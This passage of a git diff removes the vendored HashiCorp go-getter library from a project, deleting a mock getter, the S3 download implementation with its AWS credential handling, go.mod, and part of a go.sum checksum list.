Proxy, if set, will be called after recording the calls below. - // If it isn't set, then the *Err values will be returned. - Proxy Getter - - GetCalled bool - GetDst string - GetURL *url.URL - GetErr error - - GetFileCalled bool - GetFileDst string - GetFileURL *url.URL - GetFileErr error -} - -func (g *MockGetter) Get(dst string, u *url.URL) error { - g.GetCalled = true - g.GetDst = dst - g.GetURL = u - - if g.Proxy != nil { - return g.Proxy.Get(dst, u) - } - - return g.GetErr -} - -func (g *MockGetter) GetFile(dst string, u *url.URL) error { - g.GetFileCalled = true - g.GetFileDst = dst - g.GetFileURL = u - - if g.Proxy != nil { - return g.Proxy.GetFile(dst, u) - } - return g.GetFileErr -} - -func (g *MockGetter) ClientMode(u *url.URL) (ClientMode, error) { - if l := len(u.Path); l > 0 && u.Path[l-1:] == "/" { - return ClientModeDir, nil - } - return ClientModeFile, nil -} diff --git a/vendor/github.com/hashicorp/go-getter/get_s3.go b/vendor/github.com/hashicorp/go-getter/get_s3.go deleted file mode 100644 index 93eeb0b817..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_s3.go +++ /dev/null @@ -1,275 +0,0 @@ -package getter - -import ( - "context" - "fmt" - "net/url" - "os" - "path/filepath" - "strings" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/credentials/ec2rolecreds" - "github.com/aws/aws-sdk-go/aws/ec2metadata" - "github.com/aws/aws-sdk-go/aws/session" - "github.com/aws/aws-sdk-go/service/s3" -) - -// S3Getter is a Getter implementation that will download a module from -// a S3 bucket. -type S3Getter struct { - getter -} - -func (g *S3Getter) ClientMode(u *url.URL) (ClientMode, error) { - // Parse URL - region, bucket, path, _, creds, err := g.parseUrl(u) - if err != nil { - return 0, err - } - - // Create client config - config := g.getAWSConfig(region, u, creds) - sess := session.New(config) - client := s3.New(sess) - - // List the object(s) at the given prefix - req := &s3.ListObjectsInput{ - Bucket: aws.String(bucket), - Prefix: aws.String(path), - } - resp, err := client.ListObjects(req) - if err != nil { - return 0, err - } - - for _, o := range resp.Contents { - // Use file mode on exact match. - if *o.Key == path { - return ClientModeFile, nil - } - - // Use dir mode if child keys are found. - if strings.HasPrefix(*o.Key, path+"/") { - return ClientModeDir, nil - } - } - - // There was no match, so just return file mode. The download is going - // to fail but we will let S3 return the proper error later. - return ClientModeFile, nil -} - -func (g *S3Getter) Get(dst string, u *url.URL) error { - ctx := g.Context() - - // Parse URL - region, bucket, path, _, creds, err := g.parseUrl(u) - if err != nil { - return err - } - - // Remove destination if it already exists - _, err = os.Stat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - - if err == nil { - // Remove the destination - if err := os.RemoveAll(dst); err != nil { - return err - } - } - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - config := g.getAWSConfig(region, u, creds) - sess := session.New(config) - client := s3.New(sess) - - // List files in path, keep listing until no more objects are found - lastMarker := "" - hasMore := true - for hasMore { - req := &s3.ListObjectsInput{ - Bucket: aws.String(bucket), - Prefix: aws.String(path), - } - if lastMarker != "" { - req.Marker = aws.String(lastMarker) - } - - resp, err := client.ListObjects(req) - if err != nil { - return err - } - - hasMore = aws.BoolValue(resp.IsTruncated) - - // Get each object storing each file relative to the destination path - for _, object := range resp.Contents { - lastMarker = aws.StringValue(object.Key) - objPath := aws.StringValue(object.Key) - - // If the key ends with a backslash assume it is a directory and ignore - if strings.HasSuffix(objPath, "/") { - continue - } - - // Get the object destination path - objDst, err := filepath.Rel(path, objPath) - if err != nil { - return err - } - objDst = filepath.Join(dst, objDst) - - if err := g.getObject(ctx, client, objDst, bucket, objPath, ""); err != nil { - return err - } - } - } - - return nil -} - -func (g *S3Getter) GetFile(dst string, u *url.URL) error { - ctx := g.Context() - region, bucket, path, version, creds, err := g.parseUrl(u) - if err != nil { - return err - } - - config := g.getAWSConfig(region, u, creds) - sess := session.New(config) - client := s3.New(sess) - return g.getObject(ctx, client, dst, bucket, path, version) -} - -func (g *S3Getter) getObject(ctx context.Context, client *s3.S3, dst, bucket, key, version string) error { - req := &s3.GetObjectInput{ - Bucket: aws.String(bucket), - Key: aws.String(key), - } - if version != "" { - req.VersionId = aws.String(version) - } - - resp, err := client.GetObject(req) - if err != nil { - return err - } - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - f, err := os.Create(dst) - if err != nil { - return err - } - defer f.Close() - - _, err = Copy(ctx, f, resp.Body) - return err -} - -func (g *S3Getter) getAWSConfig(region string, url *url.URL, creds *credentials.Credentials) *aws.Config { - conf := &aws.Config{} - if creds == nil { - // Grab the metadata URL - metadataURL := os.Getenv("AWS_METADATA_URL") - if metadataURL == "" { - metadataURL = "http://169.254.169.254:80/latest" - } - - creds = credentials.NewChainCredentials( - []credentials.Provider{ - &credentials.EnvProvider{}, - &credentials.SharedCredentialsProvider{Filename: "", Profile: ""}, - &ec2rolecreds.EC2RoleProvider{ - Client: ec2metadata.New(session.New(&aws.Config{ - Endpoint: aws.String(metadataURL), - })), - }, - }) - } - - if creds != nil { - conf.Endpoint = &url.Host - conf.S3ForcePathStyle = aws.Bool(true) - if url.Scheme == "http" { - conf.DisableSSL = aws.Bool(true) - } - } - - conf.Credentials = creds - if region != "" { - conf.Region = aws.String(region) - } - - return conf -} - -func (g *S3Getter) parseUrl(u *url.URL) (region, bucket, path, version string, creds *credentials.Credentials, err error) { - // This just check whether we are dealing with S3 or - // any other S3 compliant service. S3 has a predictable - // url as others do not - if strings.Contains(u.Host, "amazonaws.com") { - // Expected host style: s3.amazonaws.com. They always have 3 parts, - // although the first may differ if we're accessing a specific region. - hostParts := strings.Split(u.Host, ".") - if len(hostParts) != 3 { - err = fmt.Errorf("URL is not a valid S3 URL") - return - } - - // Parse the region out of the first part of the host - region = strings.TrimPrefix(strings.TrimPrefix(hostParts[0], "s3-"), "s3") - if region == "" { - region = "us-east-1" - } - - pathParts := strings.SplitN(u.Path, "/", 3) - if len(pathParts) != 3 { - err = fmt.Errorf("URL is not a valid S3 URL") - return - } - - bucket = pathParts[1] - path = pathParts[2] - version = u.Query().Get("version") - - } else { - pathParts := strings.SplitN(u.Path, "/", 3) - if len(pathParts) != 3 { - err = fmt.Errorf("URL is not a valid S3 complaint URL") - return - } - bucket = pathParts[1] - path = pathParts[2] - version = u.Query().Get("version") - region = u.Query().Get("region") - if region == "" { - region = "us-east-1" - } - } - - _, hasAwsId := u.Query()["aws_access_key_id"] - _, hasAwsSecret := u.Query()["aws_access_key_secret"] - _, hasAwsToken := u.Query()["aws_access_token"] - if hasAwsId || hasAwsSecret || hasAwsToken { - creds = credentials.NewStaticCredentials( - u.Query().Get("aws_access_key_id"), - u.Query().Get("aws_access_key_secret"), - u.Query().Get("aws_access_token"), - ) - } - - return -} diff --git a/vendor/github.com/hashicorp/go-getter/go.mod b/vendor/github.com/hashicorp/go-getter/go.mod deleted file mode 100644 index a869e8f808..0000000000 --- a/vendor/github.com/hashicorp/go-getter/go.mod +++ /dev/null @@ -1,23 +0,0 @@ -module github.com/hashicorp/go-getter - -require ( - cloud.google.com/go v0.45.1 - github.com/aws/aws-sdk-go v1.15.78 - github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d - github.com/cheggaaa/pb v1.0.27 - github.com/davecgh/go-spew v1.1.1 // indirect - github.com/fatih/color v1.7.0 // indirect - github.com/hashicorp/go-cleanhttp v0.5.0 - github.com/hashicorp/go-safetemp v1.0.0 - github.com/hashicorp/go-version v1.1.0 - github.com/mattn/go-colorable v0.0.9 // indirect - github.com/mattn/go-isatty v0.0.4 // indirect - github.com/mattn/go-runewidth v0.0.4 // indirect - github.com/mitchellh/go-homedir v1.0.0 - github.com/mitchellh/go-testing-interface v1.0.0 - github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/stretchr/testify v1.2.2 // indirect - github.com/ulikunitz/xz v0.5.5 - google.golang.org/api v0.9.0 - gopkg.in/cheggaaa/pb.v1 v1.0.27 // indirect -) diff --git a/vendor/github.com/hashicorp/go-getter/go.sum b/vendor/github.com/hashicorp/go-getter/go.sum deleted file mode 100644 index b88c747cec..0000000000 --- a/vendor/github.com/hashicorp/go-getter/go.sum +++ /dev/null @@ -1,162 +0,0 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= -cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= -cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= -cloud.google.com/go v0.45.1 h1:lRi0CHyU+ytlvylOlFKKq0af6JncuyoRh1J+QJBqQx0= -cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= -cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= -cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/aws/aws-sdk-go v1.15.78 h1:LaXy6lWR0YK7LKyuU0QWy2ws/LWTPfYV/UgfiBu4tvY= -github.com/aws/aws-sdk-go v1.15.78/go.mod h1:E3/ieXAlvM0XWO57iftYVDLLvQ824smPP3ATZkfNZeM= -github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= -github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= -github.com/cheggaaa/pb v1.0.27 h1:wIkZHkNfC7R6GI5w7l/PdAdzXzlrbcI3p8OAlnkTsnc= -github.com/cheggaaa/pb v1.0.27/go.mod h1:pQciLPpbU0oxA0h+VJYYLxO+XeDQb5pZijXscXHm81s= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= -github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.2 h1:6nsPYzhq5kReh6QImI3k5qWzO4PEbvbIW2cwSfR/6xs= -github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= -github.com/google/go-cmp v0.3.0 h1:crn/baboCvb5fXaQ0IJ1SGTsTVrWpDsCWC8EGETZijY= -github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no= -github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= -github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= -github.com/googleapis/gax-go/v2 v2.0.5 h1:sjZBwGj9Jlw33ImPtvFviGYvseOtDM7hkSKB7+Tv3SM= -github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/hashicorp/go-cleanhttp v0.5.0 h1:wvCrVc9TjDls6+YGAF2hAifE1E5U1+b4tH6KdvN3Gig= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-safetemp v1.0.0 h1:2HR189eFNrjHQyENnQMMpCiBAsRxzbTMIgBhEyExpmo= -github.com/hashicorp/go-safetemp v1.0.0/go.mod h1:oaerMy3BhqiTbVye6QuFhFtIceqFoDHxNAB65b+Rj1I= -github.com/hashicorp/go-version v1.1.0 h1:bPIoEKD27tNdebFGGxxYwcL4nepeY4j1QP23PFRGzg0= -github.com/hashicorp/go-version v1.1.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= -github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8 h1:12VvqtR6Aowv3l/EQUlocDHW2Cp4G9WJVH7uyH8QFJE= -github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= -github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= -github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-isatty v0.0.4 h1:bnP0vzxcAdeI1zdubAl5PjU6zsERjGZb7raWodagDYs= -github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-runewidth v0.0.4 h1:2BvfKmzob6Bmd4YsL0zygOqfdFnK7GR4QL06Do4/p7Y= -github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mitchellh/go-homedir v1.0.0 h1:vKb8ShqSby24Yrqr/yDYkuFz8d0WUjys40rvnGC8aR0= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0 h1:fzU/JVNcaqHQEcVFAKeR41fkiLdIPrefOvVG1VZ96U0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -github.com/ulikunitz/xz v0.5.5 h1:pFrO0lVpTBXLpYw+pnLj6TbvHuyjXMfjGeCwSqCVwok= -github.com/ulikunitz/xz v0.5.5/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8= -go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= -go.opencensus.io v0.22.0 h1:C9hSCOW830chIVkdja34wa6Ky+IzWllkUinR+BtRZd4= -go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= -golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= -golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= -golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= -golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45 h1:SVwTIAaPC2U/AvvLNZ2a7OVsmBpC8L5BlwK1whH3hm0= -golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f h1:Bl/8QSvNqXvPGPGXa2z5xUTmV7VDcZyvRZ+QQXkXTZQ= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0 h1:HyfiK1WMnHj5FXFXatD+Qs1A/xC2Run6RzeW1SyHxpc= -golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2 h1:z99zHgr7hKfrUcX/KsoJk5FJfjTceCKIp96+biqP4To= -golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= -golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= -google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= -google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.9.0 h1:jbyannxz0XFD3zdjgrSUsaJbgpH4eTrkdhRChkHPfO8= -google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.6.1 h1:QzqyMA1tlu6CgqCDUtU9V+ZKhLFT2dkJuANu5QaxI3I= -google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 